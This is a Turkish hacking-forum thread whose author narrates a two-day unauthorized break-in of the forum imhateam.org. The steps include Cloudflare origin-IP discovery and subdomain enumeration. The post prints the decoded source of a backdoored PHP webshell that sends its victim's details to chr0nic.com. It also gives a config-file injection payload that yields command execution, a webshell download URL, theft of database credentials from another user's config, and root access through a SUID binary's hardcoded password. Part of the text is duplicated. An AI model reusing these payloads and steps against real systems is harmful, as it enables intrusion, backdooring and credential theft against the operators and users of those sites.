  • - bi yandanda origin ip tespiti yapmaya baslamıstım
  • - bi yandanda subları cıkartmaya calıstım
ve bi yandanda manuel analiz yaptım
işte bu forum kimin, bu forumun sahibinin baska sitesi / forumu varmı
hizmet sundugu siteler vs. varmı
spyhackerz.org çıktı ordanda
sonra devam ettim işime
subdomainleri bu sekildeydi
Ek dosyayı görüntüle: 102

Ek dosyayı görüntüle: 103
ikisininde main domaini cfye baglıydı, sonrasında tum hepsinin ipsini sıralandırdım ve gordugum kadarıyla hepsinin arasında spyhackerz.org da bi tanesinin subdomaini cf dashboarddan proxy ayarı acılmamıstı
Ek dosyayı görüntüle: 105
haliyle bu sayede origin ip ifsa olmustu
https://ws.spyhackerz.org [194.110.169.179]
bir atak vektorumuz cıkmıstı simdiden
sonrasında ip hakkında info toplamaya basladım
o ipde barınan tüm domainleri sıralamak icin Host parametresine hedef domaini yazıp responseları inceledim (burdaki amacımız hedef sunucunun ip'sine ben "spyhackerz.org" dan http'ye bağlanmak istiyorum demektir, sunucunun bize sundugu yanıta göre domainin sunucuya baglantı varmı yokmu anlamıs oluruz)
Ek dosyayı görüntüle: 106
spyhackerz.org buradaydı harika
imhateam.org a baktım sonrasında
Ek dosyayı görüntüle: 107
cıkmıstı fakat bisi vardı , o an imhateam.org bakımda dğeildiki?
bu spyhackerz.org'un sunucusunda duran baska bir site icerigiydi
imhateam.org orada barınmıyordu
imhateam.org tamamen baska biyerde barınıyordu bu onu belli etmisti
yani hedefimle aynı sunucuya değildi spyhackerz
ama devam ettim spyhackerzdaki subdomainleri sıralandırmaya yani hangisi spyhackerzla aynı sunucuda hangisi değil diye bakmaya
cunku 2 tane sunucu var gibi gozukuyor
ya imhanın sunucusunda hedef domain
yada spyhackerzın sunucusunda
encoder.spyhackerz.org
bingo
Ek dosyayı görüntüle: 108
encoder subdomaini hedef listemize girmişti
spyhackerz.orgla aynı serverda değil
paste. subdomainide aynı sekildeydi
Ek dosyayı görüntüle: 109
chat subdomainide
mail subdomaini ama spyhackerzla aynı sunucudaydı-ki
Ek dosyayı görüntüle: 110
olması gerekende buydu
phpshell. subdomainide gene aynı sunucuda değildi spyhackerz.org'la
Ek dosyayı görüntüle: 111
harika sonuc almıstık
totalde 4 tane daha saldırı yapabilcegimiz vektor ortaya cıkmıstı (paste.spyhackerz.org,chat.spyhackerz.org,phpshell.spyhackerz.org,encoder.spyhackerz.org)
herangi birini hacklersek
sunucuda imhateam.org'ada girebilirdik
sonrasında devam ettim ve bu domainleri analiz etmeye basladım
(üzgünüm görseller cok kullanamıcam bu bolumde cunku sunucuya girip rootladıktan sonra tum siteleri silmistim, suan sublara erisim 0 :( )
paste.spyhackerz.org incelemeye basladım tatlı ve guzeldi pastebinin sanki Türk versiyonu gibiydi, priv/pub pasteler acabilir veya acılan pasteleri inceleyebiliyorduk
cok fazla fonksyion yoktu
onundede cf waf'ı aktifti
paste kısımlarında xss test ettim fakat tum yazılan payloadlar sanitize edilip kullanıcının onune sunuluyordu, sql injection denedim gene paste idleri uzerınden fakat sonuc yoktu
ve tüm pasteleri inceledim bi tanesinde şunu gördüm:
Ek dosyayı görüntüle: 112
seklinde bir paste gormustum
vee ilk aklıma sql injection, config injection, connection string injection gelmisti:
db bilgilerini kullanıcıdan alsaydı neler yapabilirdik soruları aklımda canlanmıstı suan bu sayfada olmasada database username dahi bizden alsaydı connection stringi bozarak "allowLoadLocalInfile=1" gibi bir field ekleyerek biryerde sql injection bulursak lfi olusturabiliriz
veyaa kullanıcıdan alıyorsa ve sonrasında o config belgelerini bir belgeye yazıyorsa
config injection yaparak
belgeye kendi istedigimiz veriyi yazadabiliriz
escape atmıyorsa egerki yazılan config bilgilerine
(burayı daha iyi anlıaksınız birazcık ilerde yazdıklarımla)
kısaca aklımda suphe uyandırmıstı bu
vee not defterime bunuda not almıstım
ek olarak tamamen sample random bir config icerigiydi cidden db icerigi değildi bu pastedeki icerik
paste subdomaininden hayır cıkmıcagı belli olmustu
tam gaz devam ettim
Ek dosyayı görüntüle: 114
"phpshell.spyhackerz.org" gozume oyle bir carpmıstıki gunes yanıgı olusmustu gozumde:D:D:D:D
ve buna bakmalıyım amk dedim iicine girdim ve icerde gordugum su sahne vardı:
Ek dosyayı görüntüle: 115
burnuma kotu kokular gelmeye baslamıstı, siteyi biraz incelediğimde kısaca amacının websheller sunmak oldugu anlasılıyordu
frontend tarafındaki kodunu okumaya basladım, neler var neler yok, yazan kisi kim ve nasıl bir mantıkla yazmıs? kavramaya calıstım
ve gorunen oyduki apacık ai ile yazılmıs ve "owasp top ten zafiyetlerine dikkat ederek kodla" talimatı verilerek hazırlanmıs basit bir siteydi
tatlıydı vee amacı iyi gibi duruyordu taa ki
bir site hackledin ve shell atıcaksın gelişmiş olmalı kaliteli olmalı
webshell arıyosun arıyosun bulamıyorsun
burası cıkıyor onune ve birisini indirip web servera yukleyip kullanıyorsun
cok iyi değilmi?
- değil
burdaki ana sorun sundukları hizmet değil sunulan hizmetin arkasında istenilen bir peynir 😄
işte o peynirde -> sizin ugrasa ugrasa hacklediğiniz web sitesinin webshell urlsi
yani sen gittin bir site hackledin shell attın icine girdin
ve anında javascript/php ile bulundugun urlyi,domaini,ipyi alıp hackerın sunucusuna yollanıyordu
kısaca loglu shelldi tamamen nerdeyse hepsi
ve bunu canlı gostermem gerekirse:
Ek dosyayı görüntüle: 116
gecko-new diye sundukları bir php shell içinde en son satırı bu sekildeydi
PHP:
<?php $woahqrgs='base'.(32+32).'_decode'; $uwykjpyf='VmpKMGExWXl...';
5 kere art arta encode edilmis base64 string
decode edince ne cıkıyor derseniz
bu kod cıkıyordu

PHP:
define('LOG_PANEL_URL', 'https://chr0nic.com/stamp/log-receiver.php'); define('AUTHORIZED_DOMAINS', serialize(['localhost', '127.0.0.1', 'chr0nic.com'])); function sendUsageLog() { $realDomain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'Unknown'; $isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443 || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on'); $protocol = $isHttps ? 'https://' : 'http://'; $requestUri = $_SERVER['REQUEST_URI'] ?? '/'; $fullUrl = $protocol . $realDomain . $requestUri; $scriptName = $_SERVER['SCRIPT_NAME'] ?? ''; $scriptUrl = $scriptName ? ($protocol . $realDomain . $scriptName) : $fullUrl; $realIp = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; if (strpos($realIp, ',') !== false) { $realIp = trim(explode(',', $realIp)[0]); } $logData = [ 'domain' => $realDomain, 'full_url' => $fullUrl, 'script_url' => $scriptUrl, 'ip' => $realIp, 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown', 'request_uri' => $requestUri, 'request_method' => $_SERVER['REQUEST_METHOD'] ?? 'GET', 'referer' => $_SERVER['HTTP_REFERER'] ?? 'Direct', 'server_name' => $_SERVER['SERVER_NAME'] ?? 'Unknown', 'server_addr' => $_SERVER['SERVER_ADDR'] ?? 'Unknown', 'script_path' => $_SERVER['SCRIPT_FILENAME'] ?? __FILE__, 'script_name' => $scriptName, 'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? 'Unknown', 'timestamp' => date('Y-m-d H:i:s'), 'php_version' => phpversion(), 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown', 'query_string' => $_SERVER['QUERY_STRING'] ?? '' ]; $authorizedDomains = unserialize(AUTHORIZED_DOMAINS); $isAuthorized = false; foreach ($authorizedDomains as $domain) { if (strpos($logData['domain'], $domain) !== false) { $isAuthorized = true; break; } } $logData['is_authorized'] = $isAuthorized ? 1 : 0; if (function_exists('curl_init')) { $ch = curl_init(LOG_PANEL_URL); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($logData), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_CONNECTTIMEOUT => 2, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTPHEADER => [ 'Content-Type: application/x-www-form-urlencoded', 'User-Agent: Mozilla/5.0' ] ]); @curl_exec($ch); curl_close($ch); return; } if (ini_get('allow_url_fopen')) { $options = [ 'http' => [ 'method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query($logData), 'timeout' => 3, 'ignore_errors' => true ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]; $context = stream_context_create($options); @file_get_contents(LOG_PANEL_URL, false, $context); return; } if (function_exists('fsockopen')) { $url = parse_url(LOG_PANEL_URL); $host = $url['host']; $path = $url['path'] ?? '/'; $port = $url['scheme'] === 'https' ? 443 : 80; $postData = http_build_query($logData); $request = "POST {$path} HTTP/1.1\r\n"; $request .= "Host: {$host}\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Content-Length: " . strlen($postData) . "\r\n"; $request .= "Connection: Close\r\n\r\n"; $request .= $postData; $fp = @fsockopen($host, $port, $errno, $errstr, 2); if ($fp) { @fwrite($fp, $request); @fclose($fp); } } } function sendUsageLogJS() { $logData = [ 'ip' => $_SERVER['REMOTE_ADDR'] ?? 'Unknown', 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown', 'timestamp' => date('Y-m-d H:i:s') ]; echo '<script> (function(){ try { // JavaScript ile ger�ek domain ve URL\'yi yakala var data = { domain: window.location.hostname, full_url: window.location.href, script_url: window.location.protocol + "//" + window.location.host + window.location.pathname, ip: "' . ($logData['ip']) . '", user_agent: navigator.userAgent, request_uri: window.location.pathname + window.location.search, referer: document.referrer || "Direct", timestamp: "' . $logData['timestamp'] . '", query_string: window.location.search }; var xhr = new XMLHttpRequest(); xhr.open("POST", "' . LOG_PANEL_URL . '", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(Object.keys(data).map(k => k + "=" + encodeURIComponent(data[k])).join("&")); } catch(e) { // Fetch API fallback fetch("' . LOG_PANEL_URL . '", { method: "POST", headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: new URLSearchParams({ domain: window.location.hostname, full_url: window.location.href, timestamp: "' . $logData['timestamp'] . '" }) }).catch(()=>{}); } })(); </script>'; } function asyncSendLog() { $realDomain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'Unknown'; $isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443; $protocol = $isHttps ? 'https://' : 'http://'; $fullUrl = $protocol . $realDomain . ($_SERVER['REQUEST_URI'] ?? '/'); $realIp = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; if (strpos($realIp, ',') !== false) { $realIp = trim(explode(',', $realIp)[0]); } if (function_exists('exec')) { $cmd = sprintf( 'curl -X POST "%s" -d "%s" > /dev/null 2>&1 &', LOG_PANEL_URL, http_build_query([ 'domain' => $realDomain, 'full_url' => $fullUrl, 'ip' => $realIp, 'timestamp' => date('Y-m-d H:i:s') ]) ); @exec($cmd); } } @sendUsageLog(); @asyncSendLog(); @sendUsageLogJS(); $authorizedDomains = unserialize(AUTHORIZED_DOMAINS); $currentDomain = $_SERVER['HTTP_HOST'] ?? 'Unknown'; $isAuthorized = false; foreach ($authorizedDomains as $domain) { if (strpos($currentDomain, $domain) !== false) { $isAuthorized = true; break; } }

sabit tanımlanmıs olan https://chr0nic.com/stamp/log-receiver.php endpointine
------------------
domain, full_url, script_url → shell'in tam adresi
ip → ziyaretçinin gerçek IP'si (CF-Connecting-IP öncelikli)
user_agent, referer → tarayıcı bilgisi
server_addr, document_root → sunucu iç yapısı
script_path (__FILE__) → sunucudaki tam dosya yolu
php_version, server_software → teknoloji parmak izi
timestamp → erişim zamanı
------------------
verilerini yolluyordu
shell calıstıgı an
3 tane fallback mekanizması vardı
yani birisinden yollaması basarısız olursa
diğerine geciyordu
1. curl_exec() → birincil, async, 3sn timeout
2. file_get_contents → allow_url_fopen açıksa
3. fsockopen() → raw TCP, her zaman çalışır

fakat hic bilmedigimiz ve on planda olmayan
yeni bir atak vektoru canlanmıstı
"chr0nic.com"
imhateam'i kronik edicek domain, chr0nic.com 😄
domaini analiz etmeye koyuldum:
keşife ilk olarak origin ip ve dizin taramasından basladım
gene main domain cf kaydı vardı fakatt subdomain taraması sonucu bir domain ortaya cıktı:
**webhook.chr0nic.com**
ve bundaki hata ne derseniz, cf kaydı yapılmamıstı
sonuclar harikaydı
ve artık elimizde yeni bir sunucu , veyaaa bildigimiz ama sunucu ipsini bilmedigimiz bir sunucunun
origin ipsi gecmisti :))
- 51.75.78.221 -
pekii bi tarayalım, imhateam.org burdamı barınıyordu yoksa?
Ek dosyayı görüntüle: 118
ve evet, imhateam.org un asıl origin ipsini bulmustuk
peki simdi ne yapıcaz diyor insan
- hedef shared hosttamı -> evet -> aynı sunucuda barınan dğer sitelerden sunucuya gir
- hedefin hostingi nere / hostingte zafiyet olabilirmi
- veya dumduz chr0nic'in web scriptinde zafiyet olabilirmii??
sırayla her durumu test ediyoruz
shared hosting değil ovh den private sunucu alınmıs bicimde
yani sunucudaki her config, her koruma yapısı sunucu adminine baglı 🙂
simdi yaptıklarım ise
ip adresini reconlamak, acık portlarını sıralandırtmak ve yeni atak vektorleri olusturmaktır
cp.imhatimi.com
vps-f9cf0fa2.vps.ovh.net
wolwarez.com
www.wolwarez.com
chr0nic.com
bu sunucuda bulunan sırasıyla domainler bunlardı, en azından kör hal ile çıkarttıklaırmdı bunlar
sonrasında wolwarezi inceledim
- imtdeki bir uyenin kendi warez forumuydu
- pluginleri ve etkilesim kurabilcegim genel seylere baktım
- siropu chat vardı
en son çare oradan yurucektim, kenarda beklettim o olasılıgı.
sonrasında geri chr0nic.com'a ve dizin taraması+script analizi yaptım
owasp top ten checkledim hızlıca sitede
arama yapma yerinde path disclosure oluyordu
/home/chr0nic.com/public_html/
bu değerliydi esasında cunku shared host olsaydı ve apache kullansaydı web sunucusu olarak ve mod_userdir acık olsaydı
ip.ip.ip.ip/~username/ ile hedef sitenin kullanıcı adını yazarak web root'unu okuyabilirdim
bundan yola cıkarakta hem cors varsa bypasslamıs olurdum hemde client side saldırılarının amına koyardım
fakaat shared host değildi, bu yapılandırma acık değildi default olarak, es gectim
devam ettim analize:
ui böyleydi ve ekranda bir tanede blog vardı
Ek dosyayı görüntüle: 119
hızlıca sql inj varmı yokmu diye baktım o kısımlara ve arama kısmında aratmaların sonuclarını nasıl yazılıyor diye baktım
kısaca bi zafiuet yoktu buralarda
dizin tarama sonucları gelmisti
https://chr0nic.com/admin/
admin giriş arayuzu vardı , unauth erişim icin onlem alınmıstı
web root altındaki ilk dizin taraması sonucsuzdu
sonra aklıma webshell loglamaıs yapılan endpointin oldugu dizin geldi
https://chr0nic.com/stamp/
burayada bir tarama yaptım
https://chr0nic.com/stamp/debug.log ve https://chr0nic.com/stamp/panel.php cıkmıstı
vaybe dedim debug.log inceleyince
şunu yapmışlardı:
her gelen webshell yukleme istediginin dump request hali loglanıyordu
tam olarak şu şekildeydi içi:
Ek dosyayı görüntüle: 117
şaşırtıcı ve aptalcaydı acıkcası, fakat kim gelipte buraya bakar diye dusunuyor insan bunu yaparken :<
her loglanan shell'e ve bilgilerine erişim saglamıstık bile ::>>
fakat yeterli değildi
hedefimiz esasında imhateam.org du
devam ettim
daha buyuk bir liste ile tarama yapınca -> /installer.php isimli bir belge oldugu ortaya cıktı
icine girince ise blog sitesnin kurulum sayfası cıkıyordu
Ek dosyayı görüntüle: 120
peki düşünün burda neler deneyebiliriz?
ben şunları düşündüm
- kendi databaseimize baglayıp kalıcılık saglayabilirdik ve istedigimiz zaman admin olusturup girebilirdik blog'a
- xss, db username yanlıs girince veya baglantı basarısız olunca ekranda ordaki herangi bi name'i örneğin db username i basıyorsa ki basıyor ve bunu sanitize etmeden basıyorsa, reflected based post xss olusuyordu
ve her ikiside calıstı
Ek dosyayı görüntüle: 121
istersem site acıp girildiği an post req i tetikleyecek ve buraya redirect edicek ve payload olarakta document.cookie calıstırıp cookieleri alıp kendime aktarabilirdim
ki httponly dahi acık değildi kısaca pek engel olcak bisi yoktu bana (httponly: javascript ile cookielerin okunmasını engelleyen bir client side flagdır)
fakaat bana daha havalı ve dahaa nasıl desem hızlı sonuc alıcagım bir yol gerektigini istiyordum
cunku 2.gunun gecesindeydim ve artık bişeylere ulasmak istiyordum
bi tık sıkılma gelmisti
dusundum ne yapabiliriz diye
veee aklıma
- config file injection geldi
bu mahlukat nedir derseniz : şöyleki şimdi installer'da sizden bazı bilgiler alıyor değilmi
db name, db username, db server , db password
sonra ne yapıcak bunları
alıp biryere kaydedicekki
onu her sayfada cagırıcak
yani depolamaya kaydetmesi gerek işte
ramde tutamazya bu verileri
haliyle config.php veya o verileri kaydediceği bir belgeye bunları yazıyor
daha iyi anlamanız acısından:
sen bir filsin, adın ahmet
zekisin ve basit birisin
installer.php'ye girdin ve db bilgilerini yazdın
<?php
define('DB_HOST', 'localhost');
define('DB_USER', 'normal_user');
define('DB_PASS', 'sifre123');
define('DB_NAME','db_namelalalala');
define('SITE_NAME','babaprolar')
ve installer.php o verileri alıp -> config.php ye yazdı
şu şekilde bir içerik oluştu ve altındada database e baglanma kodu varsayalım
peki şimdi bir tanede maymun düşünün ismide necmi
basit birisi değil, sacma dusunerek yapar herseyi
ve bu senaryoda ise şunu dusunuyor
burda nasıl configi bozarım, configden shell elde ederim 😄
ve şunu yapıyor
sırasıyla burda alınan inputlara verileri yazıyor
db_username=necminin_dbusername
db_passwd=necminin_db_passwordu
db_server=necminin_mysql_baslattigi_sunucu_ip/domain
db_name=necminin_db_adi
fakaat site_name degeri olarak ise şunu yazıyor
'); system($_GET['cmd']
ve sonucta ne olusuyor derseniz
<?php
define('DB_HOST', 'localhost');
define('DB_USER', 'normal_user');
define('DB_PASS', 'sifre123');
define('DB_NAME','db_namelalalala');
define('SITE_NAME','babaprolar');
system($_GET['cmd'] );
yaptıgı sey ise config.php den gelen her get isteginde cmd key'inden gelen her komutu alıp calıstır ve yanıtı ekrana bas diyor
ve dumduz config.php ye yazılırsa bu
neden calısmasınki değilmi 🙂
fix'i nasıl olur diye dusunuyorsanız
hic php belgesine yazmayabiliriz config.json yazıp webden erisimi kısıtlarız okey:D
veyaaa
function sanitize_config_value(string $value): string {
// Sadece harf, rakam, nokta, tire, alt çizgi
if (!preg_match('/^[a-zA-Z0-9.\-_]+$/', $value)) {
throw new InvalidArgumentException('Geçersiz karakter');
}
return $value;
}
seklinde bir fonksiyonla gelen veriyi kontrol et egerki sıkıntı varsa siktiri cek elemana
========
şimdi bunu pratiğe dokelim ve live olarak deneyelim
site url input'une gidip
"
site_url = http://chr0nic.com';
system($_GET['cmd']);
$x='
"
şeklinde value'sini yazdım ve kendi vps/vds/hostumda mysql baslatıp dısa acıp baglantı bilgilerini yazıp
calıstırdım
config.php ye gittim ve ekranda birşey yazıyordu
"Warning: Undefined array key "cmd" in /home/chr0nic.com/public_html/config.php on line 7"
basarmıstım, ?cmd parametresi eksik diyordu türkçe olarak
?cmd=dir yazdım ve
Ek dosyayı görüntüle: 122
artık bir webshellimiz vardı icerde, o an havaya uçmuştum halimi görmeliydiniz amk PWEOJWKL
bende iceri saglam bir webshell soktum ui'ı olan kolay yonetimi olan ve ordan devam ettim işine
https://raw.githubusercontent.com/onemoriarty/moriartyhacked/refs/heads/main/wp-includes.php kullandıgım webshell buydu (alfa shell)
sıradaki hedefimiz artık, sunucuyu rootlamaktı
Ek dosyayı görüntüle: 123
onu nasıl yaptıgıma gelirsek, id komutu sonucu uid=5005(chrni2148) gid=5005(chrni2148) donmustu
bu yuzden roota girmeliydik cunku suanlık biz
chr0nic.com daki dizinlere erisebiliyorduk sadece
bende cat /etc/passwd yazıp bi baktım kimler var kimler yok
ana baba gunu gibiyd icersi::D:D
fakat hem ss olmadıgındn hemde ifsa etmemek adına atmıyom onu, ve cyber panelde guncel versiyondaydı,ve kernel expide yoktu
bildigin kısıtlanmıstım :/
ama esasında burayı profesyonel bir server admini dizmemisti bir hack forum sahibi dizdi :d
/var/lib/mysql altındada tum sitelerin dbleri vardı fakaat gene sadece max isimlerini gorebiliyorduk okuma, yazma, update vs. hicbir iznimiz yoktu
ve /etc/passwd sonucu her kullanıcının dizinine brute force attım
ls /home/username/public_html/
baktım okuyabildigimiz birisi varmı diye , veee cidden bu kısımda sanslıydım
hedefimiz olan
imhateam.org un kullanıcısı olan imha1234'ün web rootunu okuyabilir, belge iclerini inceleyebiliyorduk
cat /home/imha1234/public_html/forum/src/config.php okudum vee
database bilgilerini ele gecirdim sonra chr0n.com a adminer kurup icine girdim
ve ordanda admine kaydım xenforodan admin.php den girincede
plugin yukleme acıktı, ordanda websh3ll yukledim
sonrasındada artık imt elimdeydi, root nasıl oldum derseniz o da şöyle yasandı:
ama ilk temel terimler:
suid nedir ?
acılımı
**Set User ID**
yani kullanıcı idsi set et demektir.
ve bir programı calıstırınca senin kim olduguna bakarak calıstırır
yani whoami yazınca -> necmi sonucunumu aldın
o zaman ls /root/ yazınca permission denied alıcaz yani yetkimiz yok , aşağıdaki resme göre
Ek dosyayı görüntüle: 125
r = read (okuma)
w = write (yazma)
x = execute (çalıştırma)
"-" = yok (o izin verilmemiş)
==========
--- hiçbir şey yapamaz
r-- sadece okur
-w- sadece yazar (nadir, mantıksız)
--x sadece çalıştırır (içini okuyamaz)
rw- okur + yazar, çalıştıramaz
r-x okur + çalıştırır, yazamaz
-wx yazar + çalıştırır, okuyamaz (nadir)
rwx her şeyi yapabilir
========
Ek dosyayı görüntüle: 126
kısaca anlamıssındır suid olayını , chmod un amacını change moderation yani yetkisini değiştiriyoruz oranın
suid'nin temelde yani : bir programı calıstıran kisinin değil, dosyanın sahibinin yetkisiyle calıstırmaktır
find komutuyla suidleri arayabiliriz mesela
find / -perm /4000
burdaki 4000 in amacı bana suid bitlerini getir demektir
basa 4 yazmamızın nedenide
Ek dosyayı görüntüle: 127
suidyi temsil etmesidir
suidleri bulmak icindir
evet şimdi örnek göstereyim
find komutu uzerınden
normalde amacı dosya aramaktır belge aramaktır
fakat -exec ile komutta calıstrabilir
ve suid tanımlıysa
rootta komut calıstırabiliriz
ve bizim senaryomuzda ise şu yasanıyor
suid bitleri cıkartılıyor
ve hole adında kullanıcı var ve kendi suid bitini tanımlamıs sistem admini buna
adıda hole kullanıcının
/usr/bin/hole icinde calısıyor ve
-rwsr-xr-x root root /usr/bin/hole
rootta calısıyor
ornek binary yapısı su halde:

int main(int argc, char *argv[]) {
char *hardcoded_pass = "sikiderman";
if (strcmp(argv[1], hardcoded_pass) == 0) {
setuid(0); // root'a geç
execvp(argv[2], ...); // verilen programı root olarak çalıştır
} else {
printf("Wrong password\n");
}
}

kısaca sikirderman girmezsek
laak gidiyoki siktir ol git
ama arguman 1 e eger sikiderman dersek ve dogru yazdıysak yani ve arguman ikiyede komutumuzu yazdıysak
artık rootta komutumuzu calıstırabiliriz demektir
strings /usr/bin/hole | grep -v "^.\{50,\}$"
yazıyorum ve icinde sikiderman diye bisi cıkıyor
/usr/bin/hole sikiderman dir
yazıyorum dizinleri listeliyor
/usr/bin/hole whoami yazıyorum
ve istedigimiz olay
Ek dosyayı görüntüle: 128
karelerden görüntüler :d
Ek dosyayı görüntüle: 129
----
Ek dosyayı görüntüle: 130
---
Ek dosyayı görüntüle: 132
okudugunuz icin tesekkurler
es
 
Ellerinize sağlık üstad, siz de böyle içerikler paylaşsanız aslında biz de gelişiriz bayağı, yeni bir bakış açısı kazandırıyorsunuz.
 
xentr_thread_starter
Ellerinize sağlık üstad, siz de böyle içerikler paylaşsanız aslında biz de gelişiriz bayağı, yeni bir bakış açısı kazandırıyorsunuz.
teşekkürler kral, elimden geldiğinde sağlam içerikler atmaya çalışıcam yeterki ogrenmeye hevesli kitle olsun. eh tabi bu yazılar sayesinde kendimide geliştiriyorum bi o kadar :>>
 
SELAMLAR Ben Mori

bugun size 2 gun boyunca imhateam.org u tarayıp ve en sonunda web sunucusuna girip sunucuyu rootlarken bastan sona bu 2 gun icersinde neler yaptım hangi yolları izledim bunlardan bahsedicem.
o zaman herkeslere iyi okumalar diliyorum.
--------------------------------------------------------------
tamam en bastan baslıyalım, imhateam.org açtım ve inceledim
guzel koklu bir hacking forumuydu burası, xenforo forum yazılımını kullanıyordu
Ek dosyayı görüntüle: 100
Sonra bunun nulled (Nulled; lisans kontrolü kaldırılmış veya yetkisiz şekilde dağıtılan yazılım sürümlerini ifade eder) bir xf (xenforo kısaltması) kurulumu olabileceğini düşündüm. Genellikle bu tarz kurulumlarda güncellemeler düzenli takip edilmediğinden, kullanılan sürümün de güncel olmama ihtimali yüksekti. Bu varsayımdan yola çıkarak XenForo'nun son güvenlik duyurularını incelemeye başladım,
https://xenforo.com/community/threa...2-2-19-released-includes-security-fix.236249/
Duyuruda belirtilen ve 2.3.9'dan eski sürümleri etkileyen güvenlik açıklarını hedef sistem üzerinde test etmeye karar verdim.
(ki bunlar cidden buyuk forumları vurmustuk, guveniyodum (https://warnight.pw/threads/altenens-is-hacked.30/) )
(ve biraz tembellik diyelim, hemen olsun bitsin iş :D)
sonra girip sitede bbcode çalışan herangi biyerde hızlıca testledim fakat çıktıda xss oluşmuyordu , bbcode renderer'ını kırıp kendi js kodumuzu çalıştırabiliyoruz normalde bu zafiyet sayesinde
ama ya patch uygulanmıstı sitede , yada forum altyapısı gunceldi
o zaman elleri sıvadım ve dedim bu iş böyle olmucak sağlam bir keşif yapalım tüm attack yapabilceğimiz noktaları sıralandırıp teker teker her olasılıgı deneyelim.
bende düşündüm sırasıyla
  • - güncel temiz bir xf altyapısı
  • - admin.php de bile ön giriş istiyor (2 faktorlu dogrulama)
  • - origin sunucunun önünde cloudflare vardı (origin ipsi elimizde değil yani ne sunucusu bilgilerine bakarız, ne sunucu haakkında info toplayabiliriz sadece domain üzerinden (her gelen request dns cozumlenmesinde cloudflared kendi ara sunucuları üzerinden geciyor ve ordan sunucuya iletiliyor (reverse proxy). yani örneğin bir ddos atmaya dahi çalışsam domain uzerınden en once request cloudflaredın sunucularına gidicek, olayıda bu ya cloudflaredın tüm gelen requestleri dev bir kara delik içinde emmek 😄 tabiki UAM adı verdiğimiz arkadas acık değilse isimiz kolayda orası ap ayrı bi olay, konu dagılmasın. tabiki sadece cloudflared amacı ddos'u önlemekte değil, kendi waf hizmetleride var bu sayede web sitesi icinde yaptıgınız istekler cloudflaredın sunucularına iletildiginde analiz edilir ve eğerki zararlı payload görülürse 403 sayfası render edilir, bu field icin cloudflaredın dashboardından ozelligi acmalısınız )
  • - fakaat burda uam acık değilse yani kolayca dizin taraması yapabilirdim hemde bi tık hızlı olucaktı cunku esasında cf'nin kendi sunucuları uzerınden tarıcaz dizinleri xdxd
  • - bi yandanda origin ip tespiti yapmaya baslamıstım
  • - bi yandanda subları cıkartmaya calıstım
ve bi yandanda manuel analiz yaptım
işte bu forum kimin, bu forumun sahibinin baska sitesi / forumu varmı
hizmet sundugu siteler vs. varmı
spyhackerz.org çıktı ordanda
sonra devam ettim işime
subdomainleri bu sekildeydi
Ek dosyayı görüntüle: 102

Ek dosyayı görüntüle: 103
ikisininde main domaini cfye baglıydı, sonrasında tum hepsinin ipsini sıralandırdım ve gordugum kadarıyla hepsinin arasında spyhackerz.org da bi tanesinin subdomaini cf dashboarddan proxy ayarı acılmamıstı
Ek dosyayı görüntüle: 105
haliyle bu sayede origin ip ifsa olmustu
https://ws.spyhackerz.org [194.110.169.179]
bir atak vektorumuz cıkmıstı simdiden
sonrasında ip hakkında info toplamaya basladım
o ipde barınan tüm domainleri sıralamak icin Host parametresine hedef domaini yazıp responseları inceledim (burdaki amacımız hedef sunucunun ip'sine ben "spyhackerz.org" dan http'ye bağlanmak istiyorum demektir, sunucunun bize sundugu yanıta göre domainin sunucuya baglantı varmı yokmu anlamıs oluruz)
Ek dosyayı görüntüle: 106
spyhackerz.org buradaydı harika
imhateam.org a baktım sonrasında
Ek dosyayı görüntüle: 107
cıkmıstı fakat bisi vardı , o an imhateam.org bakımda dğeildiki?
bu spyhackerz.org'un sunucusunda duran baska bir site icerigiydi
imhateam.org orada barınmıyordu
imhateam.org tamamen baska biyerde barınıyordu bu onu belli etmisti
yani hedefimle aynı sunucuya değildi spyhackerz
ama devam ettim spyhackerzdaki subdomainleri sıralandırmaya yani hangisi spyhackerzla aynı sunucuda hangisi değil diye bakmaya
cunku 2 tane sunucu var gibi gozukuyor
ya imhanın sunucusunda hedef domain
yada spyhackerzın sunucusunda
encoder.spyhackerz.org
bingo
Ek dosyayı görüntüle: 108
encoder subdomaini hedef listemize girmişti
spyhackerz.orgla aynı serverda değil
paste. subdomainide aynı sekildeydi
Ek dosyayı görüntüle: 109
chat subdomainide
mail subdomaini ama spyhackerzla aynı sunucudaydı-ki
Ek dosyayı görüntüle: 110
olması gerekende buydu
phpshell. subdomainide gene aynı sunucuda değildi spyhackerz.org'la
Ek dosyayı görüntüle: 111
harika sonuc almıstık
